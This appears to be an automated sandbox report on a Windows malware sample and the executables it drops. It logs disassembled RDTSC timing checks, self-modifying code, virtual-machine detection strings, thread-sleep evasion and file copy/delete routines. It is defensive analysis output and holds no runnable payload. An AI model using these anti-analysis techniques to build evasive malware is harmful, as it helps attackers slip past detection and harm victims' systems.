Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120AFE second address: 5120B33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushfd 0x0000000d jmp 00007FD0B548336Bh 0x00000012 add ah, FFFFFF9Eh 0x00000015 jmp 00007FD0B5483379h 0x0000001a popfd 0x0000001b rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5130DB8 second address: 5130DBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5130DBE second address: 5130E33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop ebx 0x00000005 pushfd 0x00000006 jmp 00007FD0B5483378h 0x0000000b adc cl, 00000048h 0x0000000e jmp 00007FD0B548336Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov dword ptr [esp], ebp 0x0000001a jmp 00007FD0B5483376h 0x0000001f mov ebp, esp 0x00000021 jmp 00007FD0B5483370h 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FD0B5483377h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5130B56 second address: 5130B5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51B07FD second address: 51B0803 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51B0803 second address: 51B0843 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD0B534805Ch 0x00000009 sub ah, FFFFFFA8h 0x0000000c jmp 00007FD0B534805Bh 0x00000011 popfd 0x00000012 mov ch, 79h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push ebx 0x00000018 jmp 00007FD0B5348060h 0x0000001d mov dword ptr [esp], ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 mov esi, ebx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51B0843 second address: 51B0860 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 5Ch 0x00000005 mov dx, 4F02h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD0B548336Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51B0860 second address: 51B087D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5348069h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51B087D second address: 51B0883 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51B0883 second address: 51B0887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51A0A5B second address: 51A0A61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51A0A61 second address: 51A0A65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51A0A65 second address: 51A0A69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51A0A69 second address: 51A0A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD0B5348065h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51A0C97 second address: 51A0C9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51A0C9B second address: 51A0CB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5348067h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51A0CB6 second address: 51A0CE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5483379h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD0B548336Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51A0CE2 second address: 51A0CE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51A0CE8 second address: 51A0CEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51A0CEC second address: 51A0CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51A0CFB second address: 51A0CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51A0CFF second address: 51A0D11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B534805Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51A0D11 second address: 51A0D17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51A0D17 second address: 51A0D1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51A0D1B second address: 51A0D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD0B5483374h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51A0E9F second address: 51A0EA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51A0EA5 second address: 51A0EA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51A0EA9 second address: 51A0EBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 movzx eax, al 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51A0EBA second address: 51A0EC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51A0EC0 second address: 51A0F02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B534805Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b mov esi, 2563C333h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushfd 0x00000013 jmp 00007FD0B5348066h 0x00000018 sbb ax, 0F38h 0x0000001d jmp 00007FD0B534805Bh 0x00000022 popfd 0x00000023 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9CE65 second address: A9CE69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9CE69 second address: A9CE73 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD0B5348056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9CE73 second address: A9CE7D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD0B548336Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9D17F second address: A9D189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 515062D second address: 515063F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0B548336Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 515063F second address: 51506D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B534805Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FD0B5348066h 0x00000011 push eax 0x00000012 pushad 0x00000013 movsx edi, si 0x00000016 jmp 00007FD0B534805Ah 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d pushad 0x0000001e push esi 0x0000001f jmp 00007FD0B534805Dh 0x00000024 pop ecx 0x00000025 pushfd 0x00000026 jmp 00007FD0B5348061h 0x0000002b adc cl, 00000006h 0x0000002e jmp 00007FD0B5348061h 0x00000033 popfd 0x00000034 popad 0x00000035 mov ebp, esp 0x00000037 jmp 00007FD0B534805Eh 0x0000003c push FFFFFFFEh 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007FD0B534805Ah 0x00000047 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51506D0 second address: 51506DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B548336Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51506DF second address: 51506E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, bh 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Special instruction interceptor: First address: 8EEE25 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Special instruction interceptor: First address: A90988 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Special instruction interceptor: First address: B1D76F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E0EE25 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FB0988 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 103D76F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Special instruction interceptor: First address: FB3920 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Special instruction interceptor: First address: FB3A15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Special instruction interceptor: First address: 114FADA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Special instruction interceptor: First address: 115F9B5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Special instruction interceptor: First address: 11D5544 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe

Code function: 0_2_051A0DD8 rdtsc

0_2_051A0DD8

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1382	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1462	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1459	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 369	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1356	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Window / User API: threadDelayed 2777	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Window / User API: foregroundWindowGot 883	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Window / User API: threadDelayed 909
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Window / User API: threadDelayed 591

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

API coverage: 3.3 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7732	Thread sleep count: 48 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7732	Thread sleep time: -96048s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7736	Thread sleep count: 52 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7736	Thread sleep time: -104052s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7716	Thread sleep count: 1382 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7716	Thread sleep time: -2765382s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7728	Thread sleep count: 1462 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7728	Thread sleep time: -2925462s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7724	Thread sleep count: 1459 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7724	Thread sleep time: -2919459s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7696	Thread sleep count: 369 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7696	Thread sleep time: -11070000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7816	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7712	Thread sleep count: 1356 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7712	Thread sleep time: -2713356s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe TID: 5808	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe TID: 6492	Thread sleep count: 349 > 30
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe TID: 6492	Thread sleep count: 909 > 30
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe TID: 6492	Thread sleep count: 591 > 30
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe TID: 3176	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe TID: 3684	Thread sleep count: 134 > 30
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe TID: 3684	Thread sleep count: 341 > 30
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe TID: 3684	Thread sleep count: 221 > 30

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Thread sleep count: Count: 2777 delay: -10

Jump to behavior

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B8DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	6_2_00B8DBBE
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B968EE FindFirstFileW,FindClose,	6_2_00B968EE
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B9698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	6_2_00B9698F
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B8D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_00B8D076
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B8D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_00B8D3A9
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B99642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_00B99642
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B9979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_00B9979D
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B99B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	6_2_00B99B2B
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B95C97 FindFirstFileW,FindNextFileW,FindClose,	6_2_00B95C97
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B938B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	20_2_00B938B0
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B8E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	20_2_00B8E430
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B8ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	20_2_00B8ED20
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B94910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_00B94910
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B94570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	20_2_00B94570
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B8F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_00B8F6B0
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B93EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	20_2_00B93EA0
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B8DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	20_2_00B8DA80
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B816D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_00B816D0
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B8DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_00B8DE10
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B8BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	20_2_00B8BE70

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B242DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_00B242DE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: 9d7da53f74.exe, 9d7da53f74.exe, 0000003C.00000002.2745204557.0000000001130000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 8ObkdHP9Hq.exe, 00000000.00000003.1723567713.0000000001490000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t4f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_C
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B03000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: 9d7da53f74.exe, 0000003C.00000003.2728003958.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW~,%
